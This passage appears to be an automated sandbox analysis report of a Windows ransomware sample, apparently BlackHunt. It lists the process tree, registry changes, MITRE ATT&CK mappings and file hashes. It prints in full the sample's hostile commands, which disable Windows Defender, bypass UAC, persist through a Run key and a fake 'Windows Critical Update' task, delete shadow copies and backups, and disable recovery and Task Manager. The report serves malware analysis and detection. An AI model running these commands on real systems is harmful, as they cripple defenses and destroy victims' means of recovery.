2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 144 PID 2784 wrote to memory of 1152 2784 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe 144 PID 1164 wrote to memory of 2604 1164 cmd.exe 146 PID 1164 wrote to memory of 2604 1164 cmd.exe 146 PID 3328 wrote to memory of 628 3328 cmd.exe 196 PID 3328 wrote to memory of 628 3328 cmd.exe 196 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe"C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2784 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵PID:3284
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:5088 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4216
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4648 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:4260
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:988
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4076 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:4888
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1164 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2604
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3964 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:232
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2396
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1724
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:3404
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:4472
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3328 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:628
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:1568
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3620
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:4088
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:3032
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:4920
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1048
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:4420
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:744
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:4752
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:3588
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:5076
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:3872
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2532
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:4560
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:868
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:4344
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2808
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3920
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1868
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:4568
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1956
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:4512
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2256
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2240
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2748
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1152
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:4688
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2372
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1976
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2424
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:3244
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:4060
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:4696
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:4960
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:224
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3672
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4008
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe" /F2⤵PID:2564
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2e1d1c4df66e9d0170d431d030cf15d17b80868e5c8a5c0a8446228fb2f0f1f9.exe" /F3⤵
- Creates scheduled task(s)
PID:2512
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵
- Modifies registry class
PID:3284 -
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4188
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:3424
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4560
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:636
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:3480
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:700
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:3288
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1260
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2588
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:4204
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1860
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:4260
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4348
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:628
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:4468
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2976
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:744
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1292
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4228
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1616
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:3164
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:1288
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD50911097d8cff16bc54e5df7925c0580b
SHA1548cd8089dfad060b83c68f26b93d82146d2cf01
SHA2569f51f28ddc8d13c6ba54d896d87cc882165b1828761f84d2e7f5ce4203973ffc
SHA512bfccdd73a3f9564a3f7afd25a99702a59ec28683c737ed9d3ec91a0fbc66ad3def4d59add920ec2ee13a71a48715fdc311df69038a311b34fb60f7915205ed82
-
Filesize
12KB
MD59465c2be9b728b03b042a84141a6e03a
SHA168b56416614e0fcdae5d89fd1d7fb790b349cf05
SHA25651d50c4db846d878defb3ee7553137dc18d37e1b511f88f8892aa97cc0236f21
SHA512535dc4b6a212c0e1f3cb8a42647a4ba37c9fc4c9d02dbf440f77ff6a3709ed8c1098de9984032b5cdfbd4e67fa4a7cdf0a9d309db3278e216c9230b07e0613f7
-
Filesize
684B
MD531f7a153f3bc2792f2f70e3291aa142a
SHA1ab9a6263210af3c1918806b8141bd3ca0152d85a
SHA256d4aac260651054416e8fc029f31bca0421ad57886d28969bb2d069423841d4d0
SHA5128868b3ef713ac7e863a58acf5c55c7c76489cc71eb68ca022fc85fd85e701c3d0e60652baa95d8d311bb378c9a0c49e6833ed1dff1a496f01479f09ce17b2f57